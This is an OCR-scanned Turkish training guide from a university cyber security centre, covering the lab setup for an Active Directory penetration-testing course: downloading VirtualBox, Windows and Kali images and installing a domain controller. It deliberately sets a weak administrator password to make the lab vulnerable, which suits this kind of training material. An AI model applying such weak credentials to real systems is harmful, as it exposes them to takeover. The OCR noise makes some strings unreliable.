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1. BUSIBER Hakkinda

BUSIBER Bogazici Universitesi Yonetim Bilisim Sistemleri Siber Giivenlik Merkezi 1 Aralik 2016
tarihinde istanbul Kalkinma Ajansi Destekli bir proje olarak hayata gecmistir. Sektére yetismis insan
glcil kazandirmak, kamu siber glivenligine destek olmak ve siber glivenlikte yerli ¢6ziimlerin
onemini vurgulamak oncelikli hedeflerimizdir.

Bu amacla Universite 6grencileri igin Ucretsiz siber kamplar diizenliyoruz, kamu kurumlarina
egitimler veriyoruz. Ulkemizdeki siber giivenlik ekosistemine destek olmak icin yerli siber giivenlik
Ureticilerini, akademiyi, sivil toplum kuruluslarini ve kamuyu bir araya getirdigimiz zirveler
diizenliyoruz. Proje strdurilebilirligini saglamak icin kamu ve 6zel sektére yonelik SOME ve siber
glvenlik egitimleri, ISO 27001 danismanligi, KVKK teknik danismanhgi, TS 13638 standardina uygun
sizma testi hizmetleri veriyoruz.

https://siber.boun.edu.tr

2. Egitim Hakkinda

Active Directory Sizma Testi Egitimi, Ulkemizde siber glivenlik ile ilgilenen kisiler ve bu alanda ¢alisip teknik
alanda kendini gelistirmek isteyenler icin BUSIBER tarafindan hazirlanip acik kullanima sunulmus lcretsiz
bir egitimdir. Egitimin seviyesi, standartlarimiza gére ORTA DERECELI olarak degerlendirilmistir. Egitime
baslamadan 6nce, 6grencinin temel seviye ag bilgisi, temel seviye active directory bilgisi/sistem yoneticiligi
bilgisi ve temel seviye sizma testi bilgisine sahip olmasi dnerilir.

Sinif ortaminda gerceklestirilen bu egitimin destekleyici PDF versiyonu, bazi temel active directory ¢alisma
prensibi (Kerberos calisma mekanizmasi, NTLM cesitleri ve kullanim alanlari) konulari konusunda eksik
olabilir.

2.1.Egitim Senaryosu
Ogrenci, BUSIBER isimli firmaya Active Directory sizma testi gerceklestirecektir. Sizma testini
gerceklestirirken, BUSIBER firmasinin yerel agina Linux tabanh bir makine ile baglanip ilgili kontrolleri kendi
bilgisayarindan yapacaktir.


https://siber.boun.edu.tr/
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3. Lab Kurulumu igin Dosyalarin indirilmesi

Egitim esnasinda 6gretilen saldirilari pratige dokebilmek igin, zafiyetli bir active directory ortami kurulmasi
gerekiyor. Egitim dokimani, VirtualBox sanallastirma uygulamasi ile asagidaki isletim sistemleri kullanilarak
hazirlandi;

e Windows Server 2019
¢ Windows 10
e KaliLinux 2020.4

3.1.VirtualBox indirme islemi
Virtualbox, Oracle firmasi tarafindan gelistirilen lcretsiz ve acik kaynakli bir sanallastirma uygulamasidir.
Uygulamanin son striimine asagidaki linkten erisebilirsiniz:

https://www.virtualbox.org/wiki/Downloads

3.2. Windows Server 2019 indirme islemi
Microsoft, Windows sistemleri deneme amaciyla 180 ginlik lisansh sekilde Evaluation Center Gzerinden
Ucretsiz bir sekilde indirilmesine izin veriyor.

https://www.microsoft.com/en-us/evalcenter/

micresoft.com

Get started with evaluating a product

Windows Server 2019 Hyper-V Server 2019 Windows Server 2019 Essentials
Windows Server 2019 is the operating system that Microsoft Hyper-V Server is a free product that delivers Windows Server Essentials offers a flexible, affordable,
bridges on-premises environments with Azure services enterprise-class virtualization for your datacenter and and easy-to-use server solution for small businesses
enabling hybrid scenarios maximizing existing hybrid cloud. Microsoft Hyper-V Server 2019 provides with up to 25 users and 50 devices. An ideal first server,
investments. new and enhanced features that can help you deliver Windows Server Essentials can also be used as the
the scale and performance needs of your mission- primary server in a multi-server environment for small
critical workloads. businesses.

VIEW ALL >


https://www.virtualbox.org/wiki/Downloads
https://www.microsoft.com/en-us/evalcenter/
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Windows Server 2019’u sectikten sonra, seceneklerden ISO yu secip devam edelim

Windows Server products & resources

@ Windows Server 2019

Evaluations | 180 days
In addition to your trial experience of Windows Server 2019, you can download a new feature on demand for Server Core, the App Compatibility FOD. This FOD
contains additional features from the Desktop Experience to improve the compatibility of Server Core for apps and tools used for troubleshooting and debugging.

Windows features on demand can be added to images prior to deployment or to actively running computers, using the DISM command. Learn more about the Server
Core App Compatibility FOD. Download this FOD. To learn more about FODs in general, and the DISM command, please visit DISM Capabilities Package Servicing.

@ Start your evaluation

Please select your experience:
Azure

0 Iso
VHD

Agilan kutucuklara rastgele degerler vererek indirme islemine devam edebilirsiniz.

@ Start your evaluation

Please complete the form to continue:

* First name busiber

* Last name busiber

* Company name businer

* Company size 1000+ LI
* Job title Researcher/Academic/Student Ll
* Work email address admin@kardeslerpentest.tk

* Work phone number 123123123

* Country/region Turkey j

* Indicates a required field

| would like information, tips, and offers about Solutions for Businesses and
Organizations and other Microsoft products and services. Privacy Statement.

Yes



BOGAZIiCi UNIVERSITESi YBS SIiBER GUVENLiIK MERKEZI

Dili English olarak birakip indirme islemine devam ediniz.

@ Start your evaluation

Please select your language:

English Ll
o [ oot

Artik Windows Server 2019’u ISO halinde indirebilirsiniz.

LI WL W) (T TRE W]

L Y N N e ] R N ]

® Opening 17763.737.190906-2324.rs5_release_s...

You have chosen to open:
...svc_refresh_SERVER_EVAL_x64FRE_en-us_1.iso

which is: Document (4.9 GB)
from: https://software-download.microsoft.com

What should Firefox do with this file?
Open with DiskimageMounter (default)

© save File
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3.3. Windows 10 indirme islemi

Windows 10 isletim sistemini de Evaluation Center lzerinden indirebilirsiniz.

® © & microsoft.com

@ We use cookies to improve your experience on our websites and for ac

B Microsoft  Microsoft365 Azure  Office365 Dynamics 365  F

___________________

Evaluation Center ' Products v |
Windows Windows Server
Windows 10 Enterprise Windows Server 2019
Windows and Office Windows Server 2019
Deployment Lab Kit Essentials

Hyper-V Server 2019
\Y iCI"OS ( Windows Admin Center
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Windows 10 Enterprise’a tiklayip isleme devam ediniz.

Windows products & resources

(> Windows 10 Enterprise

Evaluations | 90 days

This evaluation software is designed for IT professionals interested in trying Wi
install this evaluation if you are not an IT professional or are not professionally

@ Start your evaluation

Please select your experience:
© SO - Enterprise
1 1SO - LTSC

ISO — Enterprise’l secip devam ediniz.
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(©  WINGows TU ENterprise

Evaluations | 90 days

This evaluation software is designed for IT professionals interested in trying Windo
install this evaluation if you are not an IT professional or are not professionally mar

@ Start your evaluation

Please select your platform:

)32 bit
© 64 bit

Please select your language:

| English ;l

it [ s

Onemli ! indirme islemi esnasinda mutlaka 64 bit’l seginiz.

o Opening 19042.631.201119-0144.20h2_release._...

You have chosen to open:

& ..TENTERPRISEEVAL_OEMRET_x64FRE_en-us.iso

which is: Document (5.2 GB)
from: https://software-download.microsoft.com

. What should Firefox do with this file?
Open with DisklmageMounter (default) B

© save File
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3.4. Kali Linux 2020.4 indirme islemi
Kali Linux isletim sistemini VirtualBox kullanimi esnasinda daha basit bir sekilde kurmak icin OVA (Open

Virtual Appliance) formatinda indirecegiz. Asagidaki linkten Kali Linux’un gelistirici Offensive Security
tarafindan saglanan Kali OVA siiriimlerini bulabilirsiniz. 64 bitlik versiyonu indiriniz.

https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/

offensive-security.com

+ KALI LINUX VMWARE IMAGES

— KALI LINUX VIRTUALBOX IMAGES

Image Name Torrent Version Size SHA2565um

3.6G Bd6492397d827 1 dbbdbdete | Bb2aa®0a5 1c68e | 38569ecibaadal 3ec024338d

Kali Linux VirtualBox 64-Bit (OVA) Torrent 2020.4

GdfbcatPech3efcT9e350977d33109¢380a744c 261 58c4e3956141535242¢2ca

- . . 3.0G
Kali Linux VirtualBox 32-Bit (OVA) Torrent 2020.4


https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
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4. Lab Kurulumu

4.1.Domain Controller (Windows Server 2019) Kurulumu ve Yapilandilirmasi
Virtualbox uygulamasini agip, sagdan YENI simgesine tiklayiniz ve ¢ikan sayfadan sanal makinenin ismini
DCO1 ve strimiini Windows Server 2019 olarak seciniz.

® Oracle VM VirtualBox Yoneticisi

u d d s Adi ve igletim sistemi

Litfen yeni sanal makine igin agiklayici bir ad ve hedef klasor segin ve
yiiklemek niyetinde oldugunuz igletim sistemi tiirtinii segin. Segtiginiz
ad bu makineyi tanimlamak igin VirtualBox igerisinde kullanilacaktir.

oly,
par. [ocor
Makine Klasorii: /Users/r00t/VirtualBox VMs
TurG:  Microsoft Windows B vy
Siirim: ~ Windows 2019 (64-bit)

Uzman Kipi Geri Git iptal

Kullandiginiz ana makinenin yeterliligine géore RAM atayiniz (Kurulumun hizli gergeklesmesi igin 4GB
Onerilir)

& ® - Oracle VM VirtualBox Yéneticisi
L.J w Araglar Bellek boyutu
San?I makineye ayrilmasi igin megabayt olarak bellek (RAM) miktarini
segin.
Onerilen bellek boyutu 2048 MB'tir. ol
SR 4096 [ MB
4 MB 16384 MB

Geri Git iptal
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Sanal Disk sayfasinda “Simdi sabit bir disk olustur” secenegini isaretleyip devam ediniz.

® Oracle VM VirtualBox Yoneticisi

L5 Sabit disk
| J Araglar
Eger isterseniz yeni makineye sanal bir sabit disk ekleyebilirsiniz. Ya

yeni bir sabit siirlicii dosyas olusturabilirsiniz ya da listeden veya klasdr
simgesini kullanarak bagka bir yerden birini segebilirsiniz.

Eger daha karigik depolama ayarlamasina ihtiyaciniz varsa bu adimi
atlayabilir ve makine bir kere olugturuldumu makine ayarlarindan
degisiklikleri yapabilirsiniz.

Sabit disk igin dnerilen boyut 50,00 GB.
Sanal bir sabit disk ekleme

© Simdi sanal bir sabit disk olugtur
Varolan sanal bir sabit disk dosyasi kullan

Bosg

Geri Git iptal

Sabit disk dosya tiirlinii VDI olarak isaretleyip devam ediniz.

Oracle VM VirtualBox Yoneticisi

L7 Sabit disk dosyasi tiirii
) J Araglar v
Litfen yeni sanal sabit disk igin kullanmak istediginiz dosyanin tiiriini segin. Eger

diger sanallagtirma yazilimlan ile kullanmaya ihtiyaciniz yoksa bu ayari
degistirmeden birakabilirsiniz.

© VDI (VirtualBox Disk Kalibi)
VHD (Sanal Sabit Disk)
VMDK (Sanal Makine Diski)

Fiziksel sabit diskte depolama segenegini Degisken olarak ayrilan isaretleyip devam ediniz.
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Oracle VM VirtualBox Yoneticisi

[157 Fiziksel sabit diskte depolama
) J Araglar e
Litfen yeni sanal sabit disk dosyasinin kullaniimasina gére (degigken olarak

ayrilan) biiyliylip biiylimemesini ya da en fazla boyutunda (sabitlenmis boyut)
olugturulup olusturulmamasini segin.

Degigken olarak ayrilan sabit disk dosyasi yalnizca fiziksel sabit siriictinizdeki
alani doldurarak (en fazla sabitlenmig boyuta kadar) kullanacak olmasina
ragmen alan serbest kaldiginda otomatik olarak tekrar kiiglilmeyecektir.

Sabitlenmig boyutlu sabit disk dosyasini olugturmak bazi sistemlerde uzun
siirebilir ama kullanmasi gogu kez en hizli olandir.

o Degisken olarak ayrilan
Sabitlenmis boyut

Dosya yeri ve boyutunu varsayilan ayarlarda birakip devam ediniz
Oracle VM VirtualBox Yoneticisi
WL o Dosya yeri ve boyutu
Bue
Litfen agagidaki kutuya yeni sanal sabit disk dosyasinin adini yazin ya da

dosyanin iginde olugturulacag farkl bir klasorii segmek igin klasdr simgesine
tiklayin.
9

|[Users/r00t/VirtualBox VMs/DCO1/DCO1.vdi| | @

Megabayt olarak sanal sabit diskin boyutunu segin. Bu boyut sabit diskteki
depolanabilecek bir sanal makine dosya verisinin miktarini simirlandirir.

50,00 GB I@

4,00 MB 2,00TB

Kurulum tamamlandiktan sonra, ek ayarlari gergeklestirmek icin DCO1 sekmesine bir kere tiklayip Ayarlar
butonuna tiklayiniz.
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& Cﬁ Araglar

“1/ | DCO
I
Y © Giig Kapall

Oracle VM VirtualBox Yoneticisi

GE o D

Yeni Ayarlar Vazgeg Baslat

= Genel

Adi: DCO1

Isletim Sistemi: Windows 2019 (64-bit)

|&] sistem

Ana Bellek: 4096 MB

Onylkleme Sirasi: Disket, Optik,'Sa_bit Disk
Hizlandirma: VT-x/AMD-V, I¢ Ige Disk Bellegi
M Ekran

Goriintl Bellegi: 128 MB

Grafik Denetleyicisi: VBoxSVGA
Uzak Masalistll Sunucusu: Etkisizlestirildi
Kayit: Etkisizlestirildi

Depolama

Denetleyici: SATA
SATA B.Noktasi 0: DCO1.vdi (Normal, 50,00 GB)
SATA B.Noktasi 1: [Optik Siiriicii] Bos

'i:;L\,D Ses
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Ana bilgisayarinizin donanimsal 6zelliklerine gore islemci atayabilirsiniz.

@ ® DCO1 - Sistem

lej Araglar -‘ | -‘ M (("J] _-1' @ : E
Ses Ag

| Genel Sistem Ekran Depolama B.Noktalari Paylagilan Klasorler Kullanici Araylzi

=/ | DCO1
20m) @ Giig Kapal Anakart [HEGERE  Hizlandirma
islemci: : 1 °
1 iglemci 8 iglemci
Galigtinima Ust Siniri: . . . . . . . . 100% 2
%1 % 100

Genigletilmis Ozellikler: PAE/NX etkinlestir
ig ige VT-x/AMD-V etkinlestir

Ag sekmesine tiklayip DCO1 cihazini NatNetwork agina dahil ediniz.

® @ DCO1 - A§
] “ A o
. Araglar — f § - > ((I)_J -H_ V;. > - . :
_ Genel Sistem Ekran  Depolama Ses A§ B.Noktalari  Paylagilan Klasbrler  Kullanici Aray(izii

- Bagdastinci 2~ Bagdastinc1 3 Bagdastirici 4 -

Iﬁ%é‘ | DCO1
W Giig Kapali

Ag Bagdastiricisini etkinlegtir

Suna takildi:  NAT Adi ﬁ
Adi: NatNetwork
> Geligmig

iptal

Kayit: 'EtKisiziestirial -
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Windows Server 2019 kurulumunu gergeklestirebilmek igin, sanal makinemize indirilen ISO dosyasini takip

normal bir Windows kurulumu gibi devam etmemiz gerek. Bunun icin Depolama sekmesine tiklayip 1SO
dosyasini SATA Baglanti Noktasi 1’e takacagiz.

® 0 DCO1 - Depolama
e — //\
!nuw@@@ - .
Genel Sistem Ekran Depolama B.Noktalari Paylagilan Klasorler Kullanici Arayiizi
Depolama Aygitlari Oznitelikler b
& Denetleyici: SATA Optik Siiriicii: ~ SATA B.Noktasi 1 @
DCO1.vdi
Canli CD/DVD
Caligirken-takilabilir
Bilgi
Tard: - -
Boyut: --
Yer: --
Suna Takildi: -~
e ¢

iptal TAMAM
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Genel Sistem Ekran Depolama

Depolama Ayagitlari

Ses

DCO1 - Depolama

JE-JU@JEQ a |

Paylagilan Klasorler

Ag B.Noktalar

Oznitelikler

& Denetleyici: SATA
2l DCO1vdi

Bilgi

&

Optik Siriict:

Tiird:

Boyut:

Yer:

S$una Takild::

Kullanici Arayiiza

. -
Sanal Optik Disk Se¢/Olustur...
Disk dosyasi segin...

SATA B.Noktasi 1

Canl CD/DVD
Caligirken-takilabilir

Diski Sanal Surictiden Kaldir

iptal

Lo B S @

DCO1 - Depolama

=

Genel Sistem Ekran Depolama B.Noktalari Paylagilan Klasorler Kullanici Arayiizi

<|>Qmv |l & =9 Masaiistii e Q, Ara {
Favoriler B 17763.737.1..._en-us_1.iso

£ son Kullanilanlar v dic il

A\ Uygulamalar 0 diger \

) Masaiistii

@ Belgeler ]

© indirilenler
iCloud

¢ iCloud Drive
Etiketler 17763.737.190906-2324.rs5_release_svc_refresh_

@ Kirmizi SERVER_EVAL_x64FRE_en-us_1l.iso

ISO Disk Gorintusi - 5,3 GB
@ Turuncu
Sari Bilgi
B Vacil Yaratilis Tarihi Din 22:10
Tum sanal optik disk dosyalari (*d...
Yeni Klasor Segenekler Vazgeg
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islem gerceklestikten sonra sanal makinemizi baslatabiliriz.

e = venel =

pall 0= Ad: DCO1
@ DCO1 [Powered Off]

Please select a virtual optical disk file or a physical
optical drive containing a disk to start your new virtual
machine from.

The disk should be suitable for starting a computer from
and should contain the operating system you wish to
install on the virtual machine if you want to do that now.
The disk will be ejected from the virtual drive
automatically next time you switch the virtual machine
off, but you can also do this yourself if needed using the
Devices menu.

117763.737.190906-2324.rs5_release_svc_refre a

Go Back Cancel iER'
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Windows Server 2019 kurulum sayfasinda, Keyboard’l Turkish Q olarak secip diger secenekleri

degistirmeden devam ediniz.

® @ DCO1 [Running]

i Windows Setup

Windows Server: 2019

Language to install Englush (United States)

Time and currency format: |l IEM RIS RS SIS

Keyboard or input method: {Turkish Q

Enter your language and other preferences and click "Next" to continue.

© 2018 Microsoft Corporation. All rights reserved.

Ekran Resmi

[ RORVLE e

(=) i Ll G (e Left 3¢
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Install now’a tiklayarak kurulum islemine baslayalim.

® (5] DCO1 [Running]

i Windows Setup

Windows Server: 2019

Install now

Repair your computer

© 2018 Microsoft Corporation. All rights reserved

Ekran Resmi
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” lI

Oniiniize ¢ikan seceneklerden “Windows Server 2019 Datacenter Evaluation (Desktop Experience)
secerek devam ediniz.

@ @ DCO1 [Running]

©, ,@ Windows Setup

Select the operating system you want to install

Operating system Architecture Date modified
Windows Server 2019 Standard Evaluation xH4 9/7/2019
Windows Server 2019 Standard Evaluation (Desktop Experien... x64 9/7/2019
Windows Server 2019 Datacenter Evaluation x4 9/7/2019
Windows Server 2019 Datacenter Evaluation (Desktop Experi

Description:
This option installs the full Windows graphical environment, consuming extra drive space. It can be
useful if you want to use the Windows desktop or have an app that requires it

1 Collecting information 2 Installing Windows

Ekran Resmi
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Oniiniize cikan seceneklerden Custom: Install Windows Only (advanced) secenegine tiklayip devam ediniz.

@ [ ] DCO1 [Running)

@ o) Windows Setup

Which type of installation do you want?

Upgrade: Install Windows and keep files, settings, and applications
The files, settings, and applications are moved to Windows with this option. This option is only
available when a supported version of Windows is already running on the computer.

Custom: Install Windows only (advanced)

The files, settings, and applications aren't moved to Windows with this optio

make changes to partitions and drives, start the computer using the installation disc. We
recommend backing up your files before you continue

(E—
1 Collecting information 2 Installing Windows

Ekran Resmi
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Windows Server 2019’u kuracaginiz disk alanini secip devam ediniz.

() @ DCO1 [Running]

g o) Windows Setup

Where do you want to install Windows?

Name Total size Free space Type

Drive 0 Unallocated Space 50.0 GB 50.0 GB

[ |

1 Collecting information 2 Installing Windows
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Kurulum bittikten sonra, ek ayarlari yapmaya gecebiliriz.

() @ DCO1 [Running]

o) Windows Setup

Installing Windows

Status

/
v

Getting files ready for installation (27%)

==

1 Collecting information 2 Installing Windows

Ekran Resmi
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Sunucuya giris yapacagimiz bilgiler, zafiyetli ortam kurmak adina basit bir sekilde verilecektir.
Administrator:1g2w3e4R bilgilerini girip devam ediniz

(1g2w3e4R, gercek hayatta karsilastigimiz bir Domain Admin parolasiydi.)

Customize settings

Type a password for the built-in administrator account that you can use to sign in to this computer.
User name

Password

Reenter password
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Kurulum tamamlandiktan sonra, sunucuya giris yapabilmemiz icin VirtualBox ekraninda Input sekmesinin
altinda sanal makineye CTRL+ALT+DEL tuslarini gonderiniz. Az dnce olusturdugumuz 1q2w3e4R parolasiyla

sunucuya giris yapiniz.

K, Se———

Press Ctrl+Alt+Delete to unloc

25d

Keyboard Settings
Soft Keyboard...

Tuesday, February 2

Insert Ctrl-Break
Insert Insert

Insert Print Screen
Insert Alt Print Scr
Insert Host Key Cc

Send the Ctrl-Alt-Del sequence to the virtual machine ol G (o ¢ | ) i parEyertertsam
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Sunucuya giris yaptiktan sonra, sag tarafta ¢ikan “Bu bilgisayarin agdaki diger cihazlar tarafindan
bulunmasini istiyor musunuz?” uyarisina EVET(YES) butonuna tiklayarak izin veriniz.

Networks

Lf;' Metwork

Do you want to allow your PC to be
discoverable by other PCs and devices
on this network?

We recommend allowing this on your
home and work networks, but not
public ones.
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Sunucu kurulumunu tamamladiktan sonra, sira sunucuya Active Directory Domain Services ve DNS
ozellikleri atamaya geliyor. Bu servisleri kurduktan sonra, sunucuyu Domain Controller roliine
ylkseltecegiz.

Bu islemleri gergeklestirmeden dnce, sunucuya Statik IP Adresi atamamiz ve DNS sorgu sunucusunu
degistirmemiz gerekiyor.

Troubleshoot problemns

Open Network & Intern n*setti ngs

Settings — O X
{1 Home StatUS
Find a setting Network status
Network & Internet E @ @
I @ SR Ethernet

Private network

3 Ethernet You're connected to the Internet

If you have a limited data plan, you can make this network a
<  Dial-up metered connection or change other properties.

Change connection properties
% VPN
Show available networks
‘%>= Airplane mode
Change your network settings
Proxy

Change adapter options

View network adapters and change connection settings.

% Sharing options

For the networks you connect to, decide what you want to share.

/A Network troubleshooter
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Change adapter options secenegine tiklayip devam ediniz;

# MNetwork Connections - O X
T E’ <« Network and Internet » Network Connections » v & Search Network Connections @
Organize = Disable this network device Diagnose this connection Rename this connection  » Bk~ ™ @

"'-h' Ethernet
= Network
W Intel(R) PRO/1000 MT Desltan A

) Disable

Status

Diagnose

G Bridge Connections

Create Shortcut

G Delete

G Rename

® Properties N

Ag Araylziine sag tiklayip, Properties sekmesini aciniz.
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Internet Protocol Version 4 (TCP/IPv4) ayarlarina gift tiklayiniz.

U Ethernet Properties >

Metworking

Connect using:
I? Intel{R) PRO/1000 MT Desktop Adapter

Configure...

This connection uses the following tems:

T30S Packet Scheduler ~

N Intemet Protocol Version 4 (TCP/IPvd)

| 2 Microsoft Network Adapter Multiplexor Protocol

2 Microsoft LLDP Protocol Driver

& Intemet Protocal Version & (TCP/IPvE)

4 Link-Layer Topology Discovery Responder

4 Link-Layer Topology Discovery Mapper /O Driver W

£ >
Install... Uninstall Properties

Description

Transmission Control Protocal/Intemet Protocol. The default
wide area network protocol that provides communication
across diverse interconnected networks.

] Cancel
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(o N -~ - —
g MNetwork and Sharing Center

&« -E-'* Metwork Connections

A _E.‘r « Metwork and Internet » Metwork Connections

Elluzl_z.n.i.zn_' Micahle thic nnham.dr_d.m.nLLA_D.L:.n.n.nm_LhiLm.n.n.FctiDn Ren
1| >

Ethernet Properties

MNetwarking
E L
d Internet Protocol Version 4 (TCP/IPvd) Properties it
General
Th  You can get IP settings assigned automatically if your network supports
—{  this capability, Otherwise, you need to ask your network administrator
N for the appropriate IP settings.
£
b () Obtain an IP address automatically
E (@) Use the following IF address:
Is IP address: 192 .168 ., 0 ., 4
L Subret mask: 255 ,255.255. 0
<
_ Default gateway: 192,168 . 0 . 1]
[ Obtain DMS server address automatically
(®) Use the following DNS server addresses:
Preferred DMS server: 127, 0 .0 .1
Alternate DMS server: g .8 .8 .8
[ ]validate settings upon exit Advanced. ..
1 item
QK Cancel
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ilgili ayarlari yaptiktan sonra kaydedip cikis yapiniz. Ag Ayarlari bittikten sonra, Server Manager
uygulamasini agarak servis ve rol atama islemlerine baslayalim.

0 Configure this local server

QUICK START

2 Add roles and features

3 Add other servers to manage
WHAT'S NEW = -
4 (Create a server group
5 Connect this server to cloud services
Hide
LEARN MORE
Add roles and features’a tiklayarak devam ediniz.
[z, Add Roles and Features Wizard — O X
. DESTINATION SERVER
Before yOU beglﬂ WIN-FNGTILTBOHO

This wizard helps you install roles, role services, or features. You determine which roles, role services, or
features to install based on the computing needs of your organization, such as sharing documents, or
Installation Type hosting a website.

Server Sslection

Before You Begin

To remove roles, role services, or features:
Start the Remove Roles and Features Wizard

Befare you continue, verify that the following tasks have been completed:

* The Administrator account has a strong password
* Network settings, such as static IP addresses, are configured
* The most current security updates frem Windows Update are installed

If you must verify that any of the preceding prerequisites have been completed, close the wizard,
complete the steps, and then run the wizard again.

To continue, click Next.

[] Skip this page by default

} < Previous i | Next » i Install i Cancel
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[z, Add Roles and Features Wizard = O X

Select installation type NG 200

WIN-FNGTILTBOHO

Before You Begin Select the installation type. You can install roles and features on a running physical computer or virtual
= machine, or on an offline virtual hard disk (VHD).

Installation Type
s = 2 (®) Role-based or feature-based installation
Server Szlection ) ) :
Configure a single server by adding roles, role services, and features.

() Remote Desktop Services installation

Install required role services for Virtual Desktop Infrastructure (VDI) to create a virtual machine-based
or session-based desktop deployment.

< Previous | | Next » Install Cancel
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I Add Roles and Features Wizard — O X
Select destination server e oo

Before You Begin
Installation Type
Server Roles

Featurses

Select a server or a virtual hard disk on which to install roles and features.

(®) Select a server from the server pool
() Select a virtual hard disk

Server Pool

Filter: |

Name |P Address Operating System

WIN-FNGT7ILTBOHO 192.168.04 Microsoft Windows Server 2019 Datacenter Evaluation

1 Computer(s) found

This page shows servers that are running Windows Server 2012 or a newer release of Windows Server,
and that have been added by using the Add Servers command in Server Manager. Offline servers and
newly-added servers from which data collection is still incomplete are not shown.

< Previous | | Next » Install
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Select server roles sayfasindan “Active Directory Domain Services” ve “DNS Server” kutucuklarini

isaretleyip devam ediniz.

F;':; Add Roles and Features Wizard

Select server roles

Before You Begin
Installation Type
Server Selection

Server Roles

Features

Select one or more roles to install on the selected server.

Roles

[] Active Directory Certificate Services

R Active Directory Domain Service

[[] Active Directory Federation Services

[] Active Directory Lightweight Directory Services
[] Active Directory Rights Management Services
[[] Device Health Attestation

[C] DHCP Server

[C] DNS Server

[] Fax Server

[m] File and Storage Services (1 of 12 installed)
[[] Host Guardian Service

[] Hyper-V

[] Network Controller

[] Network Policy and Access Services

[] Print and Document Services

[] Remote Access

[] Remote Desktop Services

[] Volume Activation Services

[C] Web Server (1IS)

[C] Windows Deployment Services

= O X

DESTINATION SERVER
WIN-FNGTILTBOHO

Description

Active Directory Domain Services
(AD DS) stores information about
objects on the network and makes
this information available to users
and network administrators, AD DS
uses domain controllers to give
network users access to permitted
resources anywhere on the network
through a single logon process.

< Previous | | Next »

Install Cancel
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Add Features’a tiklayip devam ediniz.

Fﬁ Add Roles and Features Wizard = O

S | I DESTINATION SERVER
= eCt server ro f-'s:a Add Roles and Features Wizard - 4 WIN-FNGT7ILTBOHO

Ce— x
Add features that are required for Active Directory
Domain Services?

ption
You cannot install Active Directory Domain Services unless the Directory Domain Services
following role services or features are also installed. ) stores information about
on the network and makes
[Tools] Group Policy Management prmation available to users
4 Remote Server Administration Tools twork administrators. AD DS
4 Role Administration Tools bmain controllers to give
4 AD DS and AD LDS Tools tk users access to permitted
Active Directory module for Windows PowerShell res anywhere on the network
4 AD DS Tools lh a single logon process.

[Tools] Active Directory Administrative Center
[Tools] AD DS Snap-Ins and Command-Line Tools

Include management tools (if applicable)

Add Features Cancel

}<Previous ‘ Next > [ Install \| Cancel
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Add Features’e tiklayip devam ediniz.

[& Add Roles and Features Wizard - O X
DESTINATION SERVER
Select server roles WIN-FNGTILTBOHO

=, Add Roles and Features Wizard X
X

Add features that are required for DN5 Server?
ption

The following tocls are required to manage this feature, but do not

have to be installed on the same server.  Name System (DNS) Server

es name resolution for TCP/IP
ks. DNS Server is easier to

e when it is installed on the
lerver as Active Directory

n Services. If you select the
Directory Domain Services

bu can install and configure
erver and Active Directory

h Services to work together.

4 Remote Server Administration Tools
4 Role Administration Tools
[Tools] DMS Server Tools

Include management tools (if applicable)

Add Features Cancel

< Previous ‘ ‘ MNext > Install ‘ | Cancel
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E’a Add Roles and Features Wizard

Select features

Before You Begin
Installation Type
Server Selection
Server Roles
Features

AD DS

DNS Server

Confirmation

Select one or more features to install on the selected server.

Features

SN.NET Framework 3.5 Feature

[ [m] .NET Framework 4.7 Features (2 of 7 installed)
I [] Background Intelligent Transfer Service (BITS)

[] BitLocker Drive Encryption

[] BitLocker Network Unlock

[] BranchCache

[ Client for NFS

[] Containers

[] Data Center Bridging

[] Direct Play

[] Enhanced Storage

[] Failover Clustering

Group Policy Management

[] Host Guardian Hyper-V Support

[] 1/0 Quality of Service

[] 1S Hostable Web Core

[] Internet Printing Client

[] Ip Address Management (IPAM) Server

[71 iSNS Server service

— O X

DESTINATION SERVER
WIN-FNGTILTB0HO

Description

.NET Framework 3.5 combines the
power of the .NET Framework 2.0
APls with new technologies for
building applications that offer
appealing user interfaces, protect
your customers' personal identity
information, enable seamless and
secure communication, and provide
the ability to model a range of
business processes.

<Previous|| Next > | ’ Install H Cancel
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Fﬁ Add Roles and Features Wizard

— O X

DESTINATION SERVER

Active Directory Domain Services WIN-FNGTILTEOHO

Before You Begin
Installation Type
Server Selection
Server Rolas
Features

DNS Server

Confirmation

Active Directory Domain Services (AD DS) stores information about users, computers, and other devices
on the network. AD DS helps administrators securely manage this information and facilitates resource
sharing and collaboration between users.

Things to note:

* To help ensure that users can still log on to the network in the case of a server outage, install a
minimum of two domain controllers for a domain.

* AD DS requires a DNS server to be installed on the network. If you do not have a DNS server
installed, you will be prompted to install the DNS Server role on this machine.

Azure Active Directory, a separate online service, can provide simplified identity and
access management, security reporting, single sign-on to cloud and on-premises web
apps.

Learn more about Azure Active Directory

Configure Office 365 with Azure Active Directory Connect

<Previous|| Next > | ’ Install H Cancel
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Eﬁ Add Roles and Features Wizard

DNS Server

Before You Begin
Installation Type
Server Selection
Server Roles
Features

AD DS

DNS Server

Confirmation

— O X

DESTINATION SERVER
WIN-FNGTILTBOHO

Domain Name System (DNS) provides a standard method for associating names with numeric Internet
addresses, This makes it possible for users to refer to network computers by using easy-to-remember
names instead of a long series of numbers. In addition, DNS provides a hierarchical namespace,
ensuring that each host name will be unique across a local or wide-area network. Windows DNS services
can be integrated with Dynamic Host Configuration Protocol (DHCP) services on Windows, eliminating
the need to add DNS records as computers are added to the network.

Things to note:

* DNS server integration with Active Directory Domain Services automatically replicates DNS data
along with other Directory Service data, making it easier to manage DNS,

* Active Directory Domain Services requires a DNS server to be installed on the network. If you are
installing a domain controller, you can also install the DNS Server role using Active Directory Domain
Services Installation Wizard by selecting the Active Directory Domain Services role.

< Previous I | Next > | ’ Install ‘
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Cikan uyariya YES diyerek devam ediniz.

[ Add Roles and Features Wizard — O pd
. " . . DESTINATION SERVER
Confirm installation selections WIN-FNGTILTE0H0
Before You Begin To install the following roles, role services, or features on selected server, click Install.
Installation Type Restart the destination server automatically if required
Server Salection Opticnal features (such as administration tools) might be displayed on this page because they have

been selected automatically. If you do not want to install these optional features, click Previous to clear

Server Roles their check boxes.

Featurss

[
AD DS Add Roles and Features Wizard
DNS Server

A If a restart is required, this server restarts automatically,

without additional notifications. Do you want to allow
automatic restarts?

Yes I No I

AD DS Tools
Active Directory Administrative Center
AN NK Cnzn-lne and Cammandl ins Trnle i

Export configuration settings
Specify an alternate source path

< Previous Next » Install | | Cancel
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Kurulumun bitmesini bekleyiniz.

I-';:; Add Roles and Features Wizard = O

Installation progress DESTINATION SERVER

